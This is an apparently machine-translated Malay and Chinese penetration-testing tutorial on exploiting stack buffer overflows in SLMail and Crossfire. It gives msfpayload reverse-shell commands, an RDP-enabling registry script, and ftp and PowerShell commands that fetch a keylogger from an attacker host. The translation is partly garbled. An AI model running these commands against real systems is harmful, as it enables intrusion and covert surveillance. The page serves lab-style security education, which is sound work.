


Tutorial Pengujian Penembusan Linux: Ajar anda langkah demi langkah daripada bermula hingga berputus asa dengan limpahan tindanan
Sila rujuk tutorial ujian penembusan KaliLinux oleh En. Yuan Fanghong dari Bilik Darjah Niu Keselamatan untuk kandungan nota
Inti dari semua kelemahan datang daripada input data Prinsip limpahan penimbal ialah sempadan antara data dan kod menjadi kabur Apabila had sempadan penampan tidak ketat, penimbal akan "dieksploitasi" disebabkan oleh data yang tidak betul. pembolehubah atau program menjalankan ralat "Eksploitasi", dengan itu menimpa data dalam kawasan memori video bersebelahan, berjaya menukar data memori video, yang boleh membawa kepada proses penculikan, pelaksanaan kod berniat jahat, dan pemerolehan kawalan pelayan.
Untuk lebih memahami prinsip limpahan penimbal, sila rujuk artikel yang dicetak semula oleh penulis:
Ajar anda langkah demi langkah tentang limpahan timbunan daripada bermula hingga berputus asa (Bahagian 1)
Ajar anda langkah demi langkah cara menggunakan limpahan timbunan daripada bermula hingga berputus asa (Bahagian 2)
Direktori Artikel
1. Cara untuk menemui kelemahan (1) Audit kod sumber
Pembangun perisian boleh menggunakan kejuruteraan sosial dan kaedah lain untuk mendapatkan kod sumber untuk semakan dan penyahpepijatan. Syaratnya adalah ketat dan kod sumber biasanya tidak tersedia.
(2) Kejuruteraan Songsang
Gunakan kejuruteraan terbalik untuk mendapatkan kod sumber pemasangan untuk analisis kod pemasangan adalah beban kerja yang berat dan sukar.
(3) Kabur
Ini adalah satu cara untuk menemui kelemahan perisian dengan memberikan input yang tidak dijangka kepada sistem sasaran dan memantau hasil yang tidak normal Secara amnya, ini dilakukan menggunakan input yang sah dan menambah sisihan rawak, yang memerlukan penggunaan alat penyahpepijatan perisian (seperti: ImmunityDebugger). .
2. Proses ujian Fuzz
Pertama sekali, anda perlu memahami beberapa teknologi perlindungan keselamatan terhadap limpahan penimbal, kerana mekanisme perlindungan ini perlu dielakkan semasa proses ujian fuzz.
(1) Windows
Perisian ujian ialah 'SLMail5.5.0MailServer', dan arahan PASSnya mempunyai kelemahan limpahan penimbal. Idea asas: (Gunakan ImmunityDebugger sebagai alat nyahpepijat)
1. Gunakan skrip python untuk menguji sama ada arahan PASS akan melimpah apabila ia menerima jumlah data yang besar Biasanya jika tiada limpahan selepas 3000 aksara, ia bermakna tidak ada kelemahan limpahan.
2. Selepas menemui kelemahan limpahan, tentukan alamat yang sepadan dengan EIP Kaedah asas ialah: kaedah binari dan kaedah rentetan yang unik. Kaedah rentetan unik boleh dijana dengan skrip metasploit usr/share/metasploit-framework/tools/pattern_create.rb3000.
3 Tukar EIP kepada alamat memori video yang sepadan dengan Shellcode, tulis Shellcode ke ruang alamat, program membaca nilai daftar EIP, dan melompat ke segmen kod shellcode dan melaksanakannya.
4. Melalui alat penyahpepijatan, kami mendapati bahawa selepas data yang dihantar memenuhi EIP, ia akan mengisi ruang yang ditunjukkan oleh ESP, jadi kami meletakkan Shellcode di lokasi ESP.
5. Tentukan jarak dari alamat ESP ke bahagian bawah timbunan Limpahan anti-penampan Linux, iaitu saiz Shellcode boleh disimpan. Gunakan skrip python untuk menghantar data kepada perisian untuk ujian, dan nyahpepijat perisian untuk melihat jumlah data yang disimpan dalam ruang yang ditunjukkan oleh ESP. Pandangan ruang memori video proses sistem komputer moden ditunjukkan dalam rajah:
Rajah 1 Paparan ruang memori proses
6. Disebabkan oleh mekanisme ASLR, alamat timbunan panggilan fungsi berubah secara rawak setiap kali perisian berjalan, jadi pengekodan keras tidak boleh dilaksanakan lompat alamat arahan JMPESP dalam modul Kemudian arahan ini melompat terus ke ESP, dan kemudian laksanakan kod shell Gunakan skrip mona.py untuk mengenal pasti modul memori video yang merupakan modul JMPESP arahan. Cari modul sistem yang tidak dilindungi oleh mekanisme DEP dan ASLR, dengan bantuan /usr /share/metasploit-framework/tools/nasm_shell.rb Tukar arahan pemasangan jmpesp kepada pelengkap dua kepada FFE4, cari FFE4 arahan dalam modul!monafind-s "xffxe4"-mslmfc.dll, selepas mencari alamat arahan, tukar Isikan alamat EIPlinux versi qq, bina Shellcode dan alih keluar aksara buruk: /msfpayloadwin32_reverseLHOST=192.168.20.8LPORT =443R|./msfencode-b“x00x0ax0d
Nota: Muatan yang dipilih semasa membina Shellcode ialah sambungan terbalik dan bukannya sambungan langsung untuk mengikat Ini boleh mengelakkan strategi menyekat tembok api.
7. Akhir sekali, dayakan port tapping nc-vlp443 Selepas Shellcode dilaksanakan, keluar dari keseluruhan proses menggunakan kaedah ExitProcess, yang akan menyebabkan perkhidmatan SMS ranap adalah aplikasi berasaskan benang keseluruhan perkhidmatan daripada ranap dan mencapai limpahan berulang: /msfpayloadwin32_reverseLHOST=192.168.20.8EXITFUNC=threadLPORT=443R|./msfencode-b"x00x0ax0d"
Nota: Jenis program, protokol dan kelemahan yang berbeza akan menganggap aksara individu sebagai aksara yang tidak baik, jadi aksara yang tidak baik tidak boleh muncul dalam alamat pemulangan, Shellcode atau penimbal. Hantar 0x00-0xff256 aksara dan cari semua aksara buruk. Aksara buruk boleh dikodkan dengan bantuan skrip metasploit ./msfencode.
8 Jika anda ingin mengawal lebih lanjut sasaran serangan, anda boleh membuka desktop jauh dengan menukar pendaftaran Lebih daripada 90% konfigurasi dalam Windows boleh diselesaikan dengan menukar pendaftaran:
<span class="token function">echo</span> Windows Registry Editor Version 5<span class="token punctuation">.</span>00>3389<span class="token punctuation">.</span>reg <span class="token function">echo</span> <span class="token namespace">[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server]</span>>>3389<span class="token punctuation">.</span>reg <span class="token function">echo</span> <span class="token string">"fDenyTSConnections"</span>=dword:00000000>>3389<span class="token punctuation">.</span>reg <span class="token function">echo</span> <span class="token namespace">[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWdsrdpwdTdstcp]</span>>>3389<span class="token punctuation">.</span>reg <span class="token function">echo</span> <span class="token string">"PortNumber"</span>=dword:00000d3d>>3389<span class="token punctuation">.</span>reg <span class="token function">echo</span> <span class="token namespace">[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp]</span>>>3389<span class="token punctuation">.</span>reg <span class="token function">echo</span> <span class="token string">"PortNumber"</span>=dword:00000d3d>>3389<span class="token punctuation">.</span>reg regedit <span class="token operator">/</span>s 3389<span class="token punctuation">.</span>reg
(2)Linux
Perisian ujian ialah 'Crossfire', dan 1.9.0 mempunyai kelemahan limpahan penimbal apabila menerima sambungan soket masuk. Idea asasnya adalah sama seperti Windows Fuzzing (edb digunakan sebagai alat penyahpepijatan), jadi saya tidak akan menerangkan secara terperinci Anda perlu memberi perhatian kepada perkara berikut:
1. Arahan nyahpepijat: edb--run/usr/games/crossfire/bin/crossfire
2. Apabila mengesahkan limpahan penimbal, kami mendapati bahawa nilai EIP hanya boleh dilindungi dengan tepat apabila muatan ditetapkan pada 4368 bait Dengan cara ini, ruang yang ditunjukkan oleh ESP hanya mempunyai 7 bait, yang tidak mencukupi letakkan Shellcode Oleh itu, carian dalam edb boleh menjadi Daftar yang dilindungi sepenuhnya oleh data mendapati EAX, jadi sebagai penyelesaian, ESP melompat ke EAX untuk melaksanakan Shellcode.
3 Pilih dan tukar EXP
Terdapat kod bantuan (EXP) di Internet untuk pelbagai kelemahan perisian yang telah diterbitkan sejak sekian lama Kami boleh memilih sumber EXP yang boleh dipercayai dan menjalankan kajian atau perubahan atas dasar ini, terutamanya Shellcode tidak boleh digunakan dengan mudah Linux anti-buffer. overflow, terdapat Untuk aplikasi sistem Linux yang mungkin mengandungi virus, bahasa pengaturcaraan yang perlu dikuasai umumnya termasuk Python, C, C++, Ruby, dll. Beberapa sumber EXP yang boleh dipercayai:
Selepas menerima EXP, anda perlu memberi perhatian kepada perkara berikut:
4. Peringkat selepas kerentanan
Termasuk operasi lanjut seperti memuat naik alat, meningkatkan keistimewaan, memadam jejak serangan, dan memasang pintu sisi Di sini kami hanya membincangkan operasi muat naik fail adalah asas untuk pra-pemasangan Trojan dan pemasangan pintu sisi cangkerang sistem pengendalian sasaran yang telah diperolehi Lakukan operasi muat naik fail.
(一)Windows
首先须要了解,用nc侦听端口取得的shell是非交互shell,这样在一些须要交互的环境操作受限,例如tab难以手动补全、一些参数难以交互输入等,所以须要上传其他的远控程序,如灰肉鸽。这儿主要讨论怎样上传这种远控程序:
1.Linux端:配置ftp服务
登陆FTP有三种形式:
<span class="token function">apt-get</span> <span class="token function">install</span> vsftpd <span class="token comment">#Linux中ftp服务有很多,这里使用vsftpd</span> vim /etc/vsftpd/vsftpd.conf<span class="token comment">#配置vsftpd服务,这里采用系统用户登录的方式</span> <span class="token comment">#添加配置</span> local_root<span class="token operator">=</span>/home/ftpduser/ <span class="token comment">#系统用户登录后的主目录</span> <span class="token comment">#可以设置用户独立配置文件保存目录:user_config_dir=/etc/vsftpd/ftpduser_config/ </span> <span class="token comment">#对特定的用户ftpuser1可以单独进行配置,方法是在user_config_dir指定的目录下建立ftpuser1文件(和用户名相同的文件),然后在其中写上配置内容</span> chroot_local_user<span class="token operator">=</span>YES <span class="token comment">#该值为YES时,所有用户只能限制在其主目录下访问</span> chroot_list_enable<span class="token operator">=</span>NO<span class="token comment">#该值为YES时,其中的用户即为与chroot_list_file中相例外的用户;为NO时,没有例外的用户。</span> chroot_list_file<span class="token operator">=</span>/etc/vsftpd.chroot_list <span class="token comment">#如chroot_local_user=NO,chroot_list_enable=YES,此时所有用户都可以访问任何目录,而chroot_list_file中的用户只能访问其主目录</span> userlist_deny<span class="token operator">=</span>NO <span class="token comment">#该值为YES时,/etc/vsftpd/user_list文件中指定的用户不能访问FTP服务器;值为NO时,则仅允许指定的用户访问FTP服务器</span> userlist_enable<span class="token operator">=</span>YES<span class="token comment">#/etc/vsftpd/user_list文件有效</span> <span class="token keyword">echo</span> ftpduser1 <span class="token operator">>></span> /etc/vsftpd/user_list<span class="token comment">#这个文件禁止或允许使用vsftpd的用户列表文件</span> <span class="token comment">#!!注意user_list文件中的用户列表和ftpusers不同,ftpusers不受任何配制项的影响,它是一个黑名单,总是有效</span> <span class="token function">mkdir</span> /home/ftpduser <span class="token function">useradd</span> -d /home/ftpduser/ftpuser1 -s /sbin/nologin ftpduser1 <span class="token function">service</span> vsftpd start
2.Windows端:因为系统缺乏预装的下载工具,所以须要自行配置
(1)使用ftp传输文件
由于非交互shell未能登入ftp服务,所以编撰ftp配置脚本。
<span class="token function">echo</span> open 192<span class="token punctuation">.</span>168<span class="token punctuation">.</span>1<span class="token punctuation">.</span>2 21>ftp<span class="token punctuation">.</span>txt <span class="token function">echo</span> ftpduser1>>ftp<span class="token punctuation">.</span>txt <span class="token function">echo</span> passw0rd>>ftp<span class="token punctuation">.</span>txt <span class="token function">echo</span> bin>>ftp<span class="token punctuation">.</span>txt <span class="token function">echo</span> GET whoami<span class="token punctuation">.</span>exe>>ftp<span class="token punctuation">.</span>txt <span class="token function">echo</span> GET klogger<span class="token punctuation">.</span>exe>>ftp<span class="token punctuation">.</span>txt <span class="token function">echo</span> bye>>ftp<span class="token punctuation">.</span>txt ftp <span class="token operator">-</span>s:ftp<span class="token punctuation">.</span>txt
(2)使用powershell传输文件
<span class="token function">echo</span> <span class="token variable">$storageDir</span> = <span class="token variable">$pwd</span> <span class="token variable">$webclient</span> = <span class="token function">New-Object</span> System<span class="token punctuation">.</span>Net<span class="token punctuation">.</span>WebClient <span class="token variable">$url</span> = <span class="token string">"http://192.168.1.2/whoami.exe"</span> <span class="token variable">$file</span> = <span class="token string">"new-exploit.exe"</span> <span class="token variable">$webclient</span><span class="token punctuation">.</span>DownloadFile<span class="token punctuation">(</span><span class="token variable">$url</span><span class="token punctuation">.</span><span class="token variable">$file</span><span class="token punctuation">)</span> powershell<span class="token punctuation">.</span>exe <span class="token operator">-</span>ExecutionPolicy Bypass <span class="token operator">-</span>Nologo <span class="token operator">-</span>NonInteractive <span class="token operator">-</span>Noprofile <span class="token operator">-</span>File wget<span class="token punctuation">.</span>ps1
(二)Linux
借助netcat、curl、wget等系统自带的工具上传文件,比较容易实现,不再赘言。
注意:上传的文件要防止被目标系统杀毒软件去除,尽量使用合法的远程控制软件,如nc。
Atas ialah kandungan terperinci Tutorial Pengujian Penembusan Linux: Ajar anda langkah demi langkah daripada bermula hingga berputus asa dengan limpahan tindanan. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Alat AI Hot

Undresser.AI Undress
Apl berkuasa AI untuk mencipta foto bogel yang realistik

AI Clothes Remover
Alat AI dalam talian untuk mengeluarkan pakaian daripada foto.

Undress AI Tool
Gambar buka pakaian secara percuma

Clothoff.io
Penyingkiran pakaian AI

AI Hentai Generator
Menjana ai hentai secara percuma.

Artikel Panas

Alat panas

Notepad++7.3.1
Editor kod yang mudah digunakan dan percuma

SublimeText3 versi Cina
Versi Cina, sangat mudah digunakan

Hantar Studio 13.0.1
Persekitaran pembangunan bersepadu PHP yang berkuasa

Dreamweaver CS6
Alat pembangunan web visual

SublimeText3 versi Mac
Perisian penyuntingan kod peringkat Tuhan (SublimeText3)

Topik panas



Ringkasan beberapa sebab mengapa tugas berjadual crontab tidak dilaksanakan Masa kemas kini: 9 Januari 2019 09:34:57 Penulis: Harapan di medan ini terutamanya meringkaskan dan memperkenalkan kepada anda beberapa sebab mengapa tugas berjadual crontab tidak dilaksanakan setiap orang Penyelesaian diberikan untuk setiap pencetus yang mungkin, yang mempunyai rujukan dan nilai pembelajaran tertentu untuk rakan sekerja yang menghadapi masalah ini. Pelajar yang memerlukan boleh mengikuti editor untuk belajar bersama-sama: Saya telah menghadapi beberapa masalah di tempat kerja yang dijadualkan tugas tidak dilaksanakan Kemudian, apabila saya mencari di Internet, saya mendapati bahawa Internet terutamanya menyebut lima insentif ini: 1. Perkhidmatan crontab bukan fungsi kernel Linux, tetapi bergantung pada cron.

Adakah anda ingin menambah sedikit jenaka pada skrip atau aplikasi Python anda? Sama ada anda sedang membina chatbot, membangunkan alat baris arahan atau hanya ingin menghiburkan diri anda dengan jenaka rawak, perpustakaan pyjokes boleh membantu. Dengan pyjokes anda boleh dengan mudah menjana jenaka dalam pelbagai kategori dan menyesuaikannya mengikut keinginan anda. Dalam catatan blog ini, kami akan meneroka cara membuat jenaka rawak dalam Python menggunakan perpustakaan pyjokes. Kami akan merangkumi proses pemasangan, menjana kategori jenaka yang berbeza, menyesuaikan jenaka, memaparkannya dalam aplikasi konsol atau halaman web dan mengendalikan sebarang kemungkinan ralat yang mungkin berlaku. Pasang pyjokes Sebelum kita mula menggunakan pyjokes untuk mencipta jenaka rawak, kita perlukan

Python dan Excel ialah dua alat berkuasa yang apabila digabungkan boleh membuka dunia automasi. Python mempunyai perpustakaan serba boleh dan sintaks mesra pengguna yang membolehkan kami menulis skrip untuk melaksanakan pelbagai tugas dengan cekap. Excel, sebaliknya, ialah program hamparan yang digunakan secara meluas yang menyediakan antara muka biasa untuk analisis dan manipulasi data. Dalam tutorial ini, kami akan meneroka cara memanfaatkan Python untuk mengautomasikan proses menyegarkan hamparan Excel, menjimatkan masa dan usaha kami. Adakah anda mendapati diri anda menghabiskan masa yang berharga untuk menyegarkan hamparan Excel anda secara manual dengan data yang dikemas kini? Ini adalah tugas yang berulang dan memakan masa yang benar-benar boleh membunuh produktiviti. Dalam artikel ini kami akan membimbing anda menggunakan Py

PyCharm ialah persekitaran pembangunan bersepadu Python yang berkuasa yang menyediakan pelbagai fungsi dan alatan untuk membantu pembangun meningkatkan kecekapan. Antaranya, PyInstaller ialah alat yang biasa digunakan yang boleh membungkus kod Python ke dalam fail boleh laku (format EXE) untuk memudahkan berjalan pada mesin tanpa persekitaran Python. Dalam artikel ini, kami akan memperkenalkan cara menggunakan PyInstaller dalam PyCharm untuk membungkus kod Python ke dalam format EXE, dan menyediakan khusus

Orange3 ialah alat visualisasi data sumber terbuka dan pembelajaran mesin yang berkuasa Ia mempunyai pemprosesan data yang kaya, analisis dan fungsi pemodelan, menyediakan pengguna dengan penyelesaian perlombongan data dan pembelajaran mesin yang mudah dan pantas. Artikel ini akan memperkenalkan secara ringkas fungsi asas dan penggunaan Orange3, dan menggabungkannya dengan senario aplikasi sebenar dan kes kod Python untuk membantu pembaca menguasai kemahiran penggunaan Orange3 dengan lebih baik. Fungsi asas Orange3 termasuk pemuatan data, prapemprosesan data, pemilihan ciri, penubuhan dan penilaian model, dsb. Pengguna boleh menggunakan antara muka intuitif untuk menyeret dan melepaskan komponen untuk membina proses data dengan mudah. Pada masa yang sama, pemprosesan data dan tugas pemodelan yang lebih kompleks juga boleh diselesaikan melalui skrip Python. Di bawah ini kita akan melalui praktikal

Bagaimana untuk membaca data Excel menggunakan PyCharm? Langkah-langkahnya adalah seperti berikut: pasang perpustakaan openpyxl, muatkan buku kerja Excel dalam lembaran kerja;

1. Mula-mula buka pycharm dan masukkan halaman utama pycharm. 2. Kemudian buat skrip python baru, klik kanan - klik baru - klik pythonfile. 3. Masukkan rentetan, kod: s="-". 4. Kemudian anda perlu mengulang simbol dalam rentetan sebanyak 20 kali, kod: s1=s*20 5. Masukkan kod output cetakan, kod: print(s1). 6. Akhir sekali jalankan skrip dan anda akan melihat nilai pulangan kami di bahagian bawah: - diulang 20 kali.

Tutorial pemasangan dan konfigurasi kelalang: Alat untuk membina aplikasi Web Python dengan mudah, contoh kod khusus diperlukan Pengenalan: Dengan peningkatan populariti Python, pembangunan Web telah menjadi salah satu kemahiran yang diperlukan untuk pengaturcara Python. Untuk menjalankan pembangunan web dalam Python, kita perlu memilih rangka kerja web yang sesuai. Di antara banyak rangka kerja Web Python, Flask ialah rangka kerja yang ringkas, mudah digunakan dan fleksibel yang digemari oleh pembangun. Artikel ini akan memperkenalkan pemasangan rangka kerja Flask,
